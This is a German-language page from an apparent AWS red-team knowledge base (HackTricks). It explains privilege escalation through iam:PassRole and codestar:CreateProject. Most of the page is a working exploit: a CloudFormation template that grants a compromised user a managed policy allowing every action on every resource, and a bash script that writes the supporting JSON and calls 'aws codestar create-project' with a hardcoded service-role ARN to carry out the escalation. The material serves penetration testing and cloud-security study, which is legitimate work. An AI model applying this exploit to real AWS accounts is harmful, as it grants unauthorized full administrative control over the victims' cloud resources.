iam:PassRole, codestar:CreateProject

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Mit diesen Berechtigungen können Sie eine codestar-IAM-Rolle missbrauchen, um beliebige Aktionen über eine CloudFormation-Vorlage auszuführen.

Um dies auszunutzen, müssen Sie einen S3-Bucket erstellen, der vom angegriffenen Konto aus zugänglich ist. Laden Sie eine Datei namens toolchain.json hoch. Diese Datei sollte die CloudFormation-Vorlage für den Exploit enthalten. Die folgende Vorlage kann verwendet werden, um einer von Ihnen kontrollierten Benutzer eine verwaltete Richtlinie zuzuweisen und Administratorberechtigungen zu erteilen:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Laden Sie auch diese leere Zip-Datei in den Bucket hoch:

Denken Sie daran, dass der Bucket mit beiden Dateien vom Opferkonto aus zugänglich sein muss.

Nachdem Sie beide Dinge hochgeladen haben, können Sie nun mit der Ausnutzung fortfahren, indem Sie ein Codestar-Projekt erstellen:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Dieser Exploit basiert auf dem Pacu-Exploit dieser Berechtigungen: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Dort finden Sie eine Variation zur Erstellung einer administrativen verwalteten Richtlinie für eine Rolle anstelle eines Benutzers.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated